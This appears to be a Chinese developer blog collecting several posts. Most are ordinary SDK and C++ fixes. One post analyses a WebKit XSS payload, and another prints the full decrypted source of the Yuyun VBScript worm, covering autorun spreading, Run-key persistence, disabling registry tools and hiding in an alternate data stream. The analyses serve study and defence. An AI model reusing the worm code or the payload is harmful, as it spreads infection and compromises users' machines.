DotNetSdkRoot 路径不正确解决方案

.NET Framework SDK 4.6.1 升级安装时未能正确更新路径,导致编译错误,例如找不到 clrdata.h 等。
微软喜欢把变量值抽象许多层之后写在各种隐蔽位置,调试多次后终于找到,记载如下。

C:\Program Files (x86)\Windows Kits\10\DesignTime\CommonConfiguration\Neutral\UAP\10.0.10586.0\UAP.props
在这个文件中将两处 4.6 替换为 4.6.1。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\ToolsVersions\14.0\14.0
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\MSBuild\ToolsVersions\14.0\14.0

将 FrameworkSDKRoot 和 SDK40ToolsPath 中的 4.6 替换为 4.6.1。

另外 Windows SDK 8.1 升级到 10.0.10240 / 10.0.10586 时也有类似的问题,导致新项目的默认 SDK 版本停留在 8.1,但可以通过项目菜单中的“重定解决方案目标”暂时解决。待有空时再寻找永久解决方案。

C++11:简化动态调用外部函数

#define INIT_DLL_FUNCTION(dll, name) name = reinterpret_cast<decltype(name)>(::GetProcAddress(::LoadLibrary(_T(dll)), #name));
NTSTATUS(WINAPI *NtOpenDirectoryObject)(
	_Out_  PHANDLE DirectoryHandle,
	_In_   ACCESS_MASK DesiredAccess,
	_In_   POBJECT_ATTRIBUTES ObjectAttributes
	);
INIT_DLL_FUNCTION("NTDLL.DLL", NtOpenDirectoryObject);
NtOpenDirectoryObject(...);

如何假装能正确处理 Content-Disposition

Content-Disposition 可能是浏览器、下载器等应用最难正确处理的东西之一。
实际上谁也没能做到完全正确处理,那么怎么在大多数情况下正确处理呢?

标准版的是这样的:
Content-Disposition: attachment; filename="attachment.zip"
这个是完全符合 RFC 2183 规范的版本,基本上也只能在 RFC 2183 里见到了。

Google 决定用正则表达式匹配:
attachment;\s*filename\s*=\s*\"([^\"]*)\"
这个是完全匹配了标准格式,理想状态下成功率是 100%。

于是有网站决定这样发:
Content-Disposition: attachment; filename=attachment.zip
不带引号,匹配失败了。

大概是意识到失败率太高,Google 又修改了一下:
attachment;\s*filename\s*=\s*(\"?)([^\"]*)\1\s*$

于是有网站决定这样发:
Content-Disposition: attachment; filename=attachment.zip; filename*=UTF-8''%E9%99%84%E4%BB%B6.zip
不带引号,匹配错了。

于是又有人放弃了正则表达式,使用简单的 Lexer 切割出分号分隔的 filename 字段。

于是有网站决定这样发:
Content-Disposition: attachment; filename=附件.zip
这种方法的精妙之处在于无法预测它使用了什么编码方式。
这个网站特别注意了绝对不在 Content-Type 中包含任何编码信息,以防被嗅探到正确的编码。
虽然标准规定了必须是 UTF-8 编码,但谁会去看标准呢?

不过如果他们看了标准,发送方式可能会变成这样:
Content-Disposition: attachment; filename="=?ISO-8859-1?Q?a?="
这是 RFC 2047 规定的 Encoded Word 编码方式。

或者干脆组合起来,比如这样:
Content-Disposition: attachment; filename*=UTF-8''%E9%99%84%E4%BB%B6.zip; filename="附件.zip"

这还是假设网站发送的内容都是正确的情况下。
所以,有时候还是假装没看见好了。

顺带一提,如果发回的内容带有斜线等神奇字符,一不小心可就是路径遍历漏洞了。万一还放在了某些敏感位置,可能就开机启动了呢。

暂时解决 Visual Studio 2013 RTM 无法将嵌套 lambda 函数自动转换为 stdcall 的问题

VS2013 RTM 对于嵌套 lambda 支持不是很好,若希望转为 API 的 stdcall 形式,会出现编译错误。

例如:

::EnumWindows([](HWND hWnd, LPARAM lParam) {
    ::EnumChildWindows(hWnd, [](HWND hWndChild, LPARAM lParam) {
        return TRUE;
    }, NULL);
	
    return TRUE;
}, NULL);

编译这段代码会报错:

error C2664: “BOOL EnumChildWindows(HWND,WNDENUMPROC,LPARAM)”: 无法将参数 2 从“int (__cdecl *)(HWND,LPARAM)”转换为“WNDENUMPROC”

将里层 lambda 暂存到一个 stdcall 的函数指针里,可以暂时解决问题。

::EnumWindows([](HWND hWnd, LPARAM lParam) {
    WNDENUMPROC callback = [](HWND hWndChild, LPARAM lParam) {
        return TRUE;
    };

    ::EnumChildWindows(hWnd, callback, NULL);

    return TRUE;
}, NULL);

“XSS 0day”分析

原始页面:http://bbs.kafan.cn/thread-1622631-1-1.html

跳转代码:

<font color="White"><object classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6" width="260" height="64"><param name="autostart" value="0"><param name="url" value="javascript://baidu.com/%0Awindow.location.href=&quot;http://www.baidu.com/s?word=Hacked+By+CatCat520&quot;; "><embed src='javascript://baidu.com/%0Awindow.location.href="http://www.baidu.com/s?word=Hacked+By+CatCat520";' autostart="0" type="video/x-ms-wmv" width="260" height="42"></object></font>

调试目标:Chromium + Webkit
设置断点:FrameLoaderClientImpl::dispatchWillPerformClientRedirect

跳转时被断下,堆栈:

>	webkit.dll!WebKit::FrameLoaderClientImpl::dispatchWillPerformClientRedirect(const WebCore::KURL & url="http://www.baidu.com/s?word=Hacked+By+CatCat520", double interval=0.00000000000000000, double fireDate=1378182004.9651439)
 	webkit.dll!WebCore::FrameLoader::clientRedirected(const WebCore::KURL & url="http://www.baidu.com/s?word=Hacked+By+CatCat520", double seconds=0.00000000000000000, double fireDate=1378182004.9651439, bool lockBackForwardList=false)
 	webkit.dll!WebCore::ScheduledURLNavigation::didStartTimer(WebCore::Frame * frame=0x18e01558, WebCore::Timer * timer=0x18e01998)
 	webkit.dll!WebCore::NavigationScheduler::startTimer()
 	webkit.dll!WebCore::NavigationScheduler::schedule(WTF::PassOwnPtr redirect={...})
 	webkit.dll!WebCore::NavigationScheduler::scheduleLocationChange(WebCore::SecurityOrigin * securityOrigin=0x1a2613c0, const WTF::String & url={...}, const WTF::String & referrer={...}, bool lockHistory=true, bool lockBackForwardList=false)
 	webkit.dll!WebCore::DOMWindow::setLocation(const WTF::String & urlString={...}, WebCore::DOMWindow * activeWindow=0x1afacc58, WebCore::DOMWindow * firstWindow=0x1afacc58, WebCore::SetLocationLocking locking=LockHistoryBasedOnGestureState)
 	webkit.dll!WebCore::Location::setLocation(const WTF::String & url={...}, WebCore::DOMWindow * activeWindow=0x1afacc58, WebCore::DOMWindow * firstWindow=0x1afacc58)
 	webkit.dll!WebCore::Location::setHref(const WTF::String & url={...}, WebCore::DOMWindow * activeWindow=0x1afacc58, WebCore::DOMWindow * firstWindow=0x1afacc58)
 	webkit.dll!WebCore::V8Location::hrefAccessorSetter(v8::Local name={...}, v8::Local value={...}, const v8::AccessorInfo & info={...})
 	v8.dll!v8::internal::JSObject::SetPropertyWithCallback(v8::internal::Object * structure=0x1ab89d59, v8::internal::String * name=0x27a25941, v8::internal::Object * value=0x2c195c55, v8::internal::JSObject * holder=0x1ba0d669, v8::internal::StrictModeFlag strict_mode=kNonStrictMode)
 	v8.dll!v8::internal::JSObject::SetPropertyForResult(v8::internal::LookupResult * result=0x006ad6d8, v8::internal::String * name=0x27a25941, v8::internal::Object * value=0x2c195c55, PropertyAttributes attributes=NONE, v8::internal::StrictModeFlag strict_mode=kNonStrictMode, v8::internal::JSReceiver::StoreFromKeyed store_mode=CERTAINLY_NOT_STORE_FROM_KEYED)
 	v8.dll!v8::internal::JSReceiver::SetProperty(v8::internal::LookupResult * result=0x006ad6d8, v8::internal::String * key=0x27a25941, v8::internal::Object * value=0x2c195c55, PropertyAttributes attributes=NONE, v8::internal::StrictModeFlag strict_mode=kNonStrictMode, v8::internal::JSReceiver::StoreFromKeyed store_mode=CERTAINLY_NOT_STORE_FROM_KEYED)
 	v8.dll!v8::internal::JSReceiver::SetProperty(v8::internal::String * name=0x27a25941, v8::internal::Object * value=0x2c195c55, PropertyAttributes attributes=NONE, v8::internal::StrictModeFlag strict_mode=kNonStrictMode, v8::internal::JSReceiver::StoreFromKeyed store_mode=CERTAINLY_NOT_STORE_FROM_KEYED)
 	v8.dll!v8::internal::StoreIC::Store(v8::internal::InlineCacheState state=UNINITIALIZED, v8::internal::StrictModeFlag strict_mode=kNonStrictMode, v8::internal::Handle object={...}, v8::internal::Handle name={...}, v8::internal::Handle value={...})
 	v8.dll!v8::internal::StoreIC_Miss(v8::internal::Arguments args={...}, v8::internal::Isolate * isolate=0x004cd770)
 	3400a336()
 	v8.dll!v8::internal::Invoke(bool is_construct=false, v8::internal::Handle function={...}, v8::internal::Handle receiver={...}, int argc=0, v8::internal::Handle * args=0x00000000, bool * has_pending_exception=0x006ada6b)
 	v8.dll!v8::internal::Execution::Call(v8::internal::Handle callable={...}, v8::internal::Handle receiver={...}, int argc=0, v8::internal::Handle * argv=0x00000000, bool * pending_exception=0x006ada6b, bool convert_receiver=false)
 	v8.dll!v8::Script::Run()
 	webkit.dll!WebCore::V8Proxy::runScript(v8::Handle script={...})
 	webkit.dll!WebCore::V8Proxy::evaluate(const WebCore::ScriptSourceCode & source={...}, WebCore::Node * node=0x00000000)
 	webkit.dll!WebCore::ScriptController::evaluate(const WebCore::ScriptSourceCode & sourceCode={...})
 	webkit.dll!WebCore::ScriptController::executeScript(const WebCore::ScriptSourceCode & sourceCode={...})
 	webkit.dll!WebCore::ScriptController::executeScript(const WTF::String & script={...}, bool forceUserGesture=false)
 	webkit.dll!WebKit::WebPluginContainerImpl::executeScriptURL(const WebKit::WebURL & url={...}, bool popupsAllowed=false)
 	glue.dll!webkit::npapi::WebPluginImpl::HandleURLRequestInternal(const char * url=0x1b3f2db8, const char * method=0x6c1f73f8, const char * target=0x00000000, const char * buf=0x00000000, unsigned int len=0, int notify_id=0, bool popups_allowed=false, webkit::npapi::WebPluginImpl::Referrer referrer_flag=DOCUMENT_URL, bool notify_redirects=false, bool is_plugin_src_load=true)
 	glue.dll!webkit::npapi::WebPluginImpl::OnDownloadPluginSrcUrl()

WebPluginImpl::HandleURLRequestInternal

if (is_javascript_url) {
  GURL gurl(url);
  WebString result = container_->executeScriptURL(gurl, popups_allowed);
  ...
  ...
}

此处开始执行脚本。

WebPluginContainerImpl::executeScriptURL

const KURL& kurl = url;
ASSERT(kurl.protocolIs("javascript"));

String script = decodeURLEscapeSequences(
    kurl.string().substring(strlen("javascript:")));

ScriptValue result = frame->script()->executeScript(script, popupsAllowed);

此处判断是 Javascript 协议(javascript://),开始执行。
执行的时候首先进行 URLDecode,所有的转义被还原。
然后切掉开头的 javascript:,最终代码变成:

//baidu.com/
window.location.href="http://www.baidu.com/s?word=Hacked+By+CatCat520"

于是开头的无效地址变为注释,第二行脚本最终在当前帧执行,造成 XSS。

特别感谢知道创宇的余弦指出%0a这个关键细节。

脚本病毒 Yuyun Ver 1.0 分析

该病毒仿暴风一号的混淆方式,但由于实现方式过于弱智,效果远不如暴风一号。
用支持 Unix 换行符的编辑器打开病毒脚本,查找如下行:

ws.Run "WScript.exe //e:VBScript "+tmpt+" """+Q+""""

删除该行,运行脚本,即可在 %Temp% 目录找到解密后的病毒脚本。

'=======================================================
' My name : Yuyun Ver 1.0
' I just wanna see every girl looks nice, better, kinds especially a moslem girl
' by: Anonymouse in Jatim, November 2008
' When I found nothing beauty else... and then I wrote this script for all
'=======================================================
On Error Resume Next
Dim fso, ws, status,status1, fly
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.Shell")
Set sh = CreateObject("Shell.application")
Set net = CreateObject("wscript.network")
fly=false
tmp=fso.GetSpecialFolder(2)
tn=fso.GetTempName
tmpt=tmp+"\"+tn
docx=ws.SpecialFolders("MyDocuments")

Set swt=WScript.Arguments
If swt.Count>0 Then
	status=swt(0)
End If
if fso.fileexists(tmp+"\Yuyun.Q") then
	set ira=fso.getfile(tmp+"\Yuyun.Q")
	ira.attributes=0
	ira.name="shalihah.ira"
	if ira.name="shalihah.ira" then
	ira.name="Yuyun.Q"
	set ira=fso.opentextfile(tmp+"\Yuyun.Q",2,true)
	else
	fly=true
	end if
else
	set ira=fso.opentextfile(tmp+"\Yuyun.Q",2,true)
end if
Set AQ=fso.GetFile(status)
If fso.FileExists(tmpt) Then fso.GetFile(tmpt).Attributes=0
AQ.Copy tmpt,True
Set AQ=fso.GetFile(tmpt)
AQ.Attributes=39
anv=tmp+"\auto.exe"
If Not fso.FileExists(anv) Then AQ.Copy anv
Set auto=fso.GetFile(anv) 
auto.attributes=0

Set aut=fso.OpenTextFile(anv,2,True,0)
isi="[autorun]>open=WScript.exe //e:VBScript thumb.db auto>shell\open=Open>shell\open\Command=WScript.exe //e:VBScript thumb.db auto>shell\open\Default=1>shell\explore=Explore>shell\explore\Command=WScript.exe //e:VBScript thumb.db auto"
isi=Replace(isi,">",vbCrLf)
aut.Write isi
aut.Close
auto.Attributes=39

ltkc=sh.Namespace(&H1c&).Self.path + "\Microsoft\CD Burning"
AQ.Copy ltkc+"\thumb.db",True
auto.Copy ltkc+"\autorun.inf",True
If fso.FileExists(docx+"\database.mdb") Then fso.GetFile(docx+"\database.mdb").Attributes=0
AQ.Copy docx+"\database.mdb",True
regQ
Set rara=UNISKA
Hertz False
If Day(Now)<>3 Then rekursif docx,1 Else rekursif docx,3

call attack_net
Hertz True

Sub rekursif(path,dp)
On Error Resume Next
dropf path
wscript.sleep 50
If dp>0 Then
For Each fldr1 In fso.GetFolder(path+"\").SubFolders
	rekursif fldr1.Path, dp-1
Next
End If
End Sub

Sub dropf(path)
On Error Resume Next
if day(now)=1 and (month(now)mod 3)=1 then 
rara.copy path+"\Baca AQ.rtf"
rara.copy path+"\My name is Yuyun.rtf"
end if

g1=path+"\autorun.inf"
g2=path+"\Thumb.db"
If fso.FileExists(g1) Then 
	Set g11=fso.GetFile(g1) 
	If g11.Attributes<>39 Then 
		g11.Attributes=0
		auto.Copy path+"\autorun.inf",True
	end if
else 
	auto.Copy path+"\autorun.inf",True
end if


If fso.FileExists(g2) Then 
	Set g12=fso.GetFile(g2)
	If g12.Attributes<>39 Then
		g12.Attributes=0
		AQ.Copy path+"\Thumb.db",True
	end if
else
	AQ.Copy path+"\Thumb.db",True
End If

If Not fso.FileExists(path+"\Microsoft.lnk") Then
shorZvnita path+"\Microsoft","Microsoft"
drop=Array("New Harry Potter and...","New Folder","SuratQ","Rahasia","Game","Zvnita","Download","DataQ","DataQ")
ww=1
For Each d In drop
	If Day(now) Mod 3 = ww Then shorZvnita path+"\"+d,d
	wscript.sleep 60
	ww=ww+1
Next
r=0
For Each fldr In fso.GetFolder(path+"\").SubFolders
	shorZvnita path+"\"+fldr.name,fldr.Name
	wscript.sleep 60
If r>3 Then 
	Exit For
End if
r=r+1
Next
End If
End Sub

Sub shorZvnita(path,trgt)
Set shor=ws.CreateShortcut(path+".lnk")
shor.iconlocation="shell32.dll,3"
shor.targetpath="wscript.exe"
shor.arguments="//e:VBScript thumb.db """+trgt+""""
shor.save
End Sub

function attack_net()
	On Error Resume Next
	err.clear
	Set objFolder = sh.Namespace(&H13&)
	Set colItems = objFolder.Items
	For Each strFileName in objFolder.Items
	t= objFolder.GetDetailsOf(strFileName, 14)
	if fso.folderexists(t) then
		rekursif t,4
	end if
	Next
End function

Sub tdr()
On Error Resume Next
err.clear
WScript.Sleep 180000
if err.number>0 then wscript.quit
End Sub

function UNISKA()
On error resume next
x=vbcrlf
adv="Yuyun Ver 1.0 ^_^!==================>>Bukan dari tulang ubun ia dicipta>karna berbahaya membiarkannya dalam sanjung dan puja>tak juga dari tulang kaki>karna nista membuatnya diinjak dan diperbudak>tapi dari tulang rusuk bagian kiri>dekat ke hati untuk disayangi>dekat ke tangan untuk dilindungi>>(dikutip dr: Agar Bidadari Cemburu Padamu)>>>""Janganlah kamu bersikap lemah, dan janganlah (pula) kamu bersedih hati, padahal kamulah>orang-orang yang paling tinggi (derajatnya), jika kamu orang-orang yang beriman."">(QS. Ali Imran:139)>>>Katakanlah kepada orang laki-laki yang beriman: ""Hendaklah mereka menahan pandanganya, >dan memelihara kemaluannya; yang demikian itu adalah lebih suci bagi mereka, >sesungguhnya Allah Maha Mengetahui apa yang mereka perbuat."" (QS. An Nur:30)>>Katakanlah kepada wanita yang beriman: ""Hendaklah mereka menahan pandangannya, >dan kemaluannya, dan janganlah mereka menampakkan perhiasannya, kecuali yang >(biasa) nampak dari padanya. Dan hendaklah mereka menutupkan kain kudung >kedadanya...."" (QS. An Nur:30)>>Sorry I just Nitip Print thok....Ndak pa2 khan^_^!  www.muslimah.or.id >>Hai anak Adam, sesungguhnya Kami telah menurunkan kepadamu >pakaian untuk menutup auratmu dan pakaian indah untuk perhiasan.>Dan pakaian takwa itulah yang paling baik. Yang demikian itu adalah >sebahagian dari tanda-tanda kekuasaan Allah, mudah-mudahan mereka selalu ingat.(Al-A'raf:26)"

adv=replace(adv,">",x)
set Yu2n=fso.opentextfile(tmp+"\v.doc",2,true)
Yu2n.write adv
Yu2n.close
if day(now)=1 and (month(now)mod 3)=1 then 
if fly=false then
for i=1 to 3
ws.run "notepad.exe /p """+tmp+"\v.doc"""
next
end if
end if
set UNISKA=fso.getfile(tmp+"\v.doc")
end function

Sub regQ()
On Error Resume Next
if day(now)=1 then
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\", "Yuyun_Cantix"
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\DefaultIcon\","shell32.dll,48"
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\ShellFolder\Attributes",0,"REG_DWORD"
ws.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\{11111111-2222-3333-4444-555555555555}\",""
end if
ws.regdelete "HKCR\lnkfile\IsShortcut"
ws.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Explorer","Wscript.exe //e:VBScript """+docx+"\database.mdb"""
ws.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistrytools",1,"REG_DWORD"
if lcase(fso.getdrive("c:").FileSystem)="ntfs" then
iraQ=AQ.openastextstream(1,0).read(AQ.size)
www=fso.GetSpecialFolder(0)
set jjk=fso.opentextfile(www+"\:Microsoft Office Update for Windows XP.sys",2,true)
jjk.write iraQ
jjk.close
ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdate","Wscript.exe //e:VBScript """+www+"\:Microsoft Office Update for Windows XP.sys"""
end if
End Sub

Sub Hertz(ooo)
On Error Resume Next
do
For Each drv In fso.Drives
If drv.DriveType=1 Then
rekursif drv.Path,4
Else
rekursif drv.Path,2
End if
Next
if fly=false then 
tdr
else 
wscript.quit
end if
regQ
If ooo=False Then 
Exit Do
End If
loop
End Sub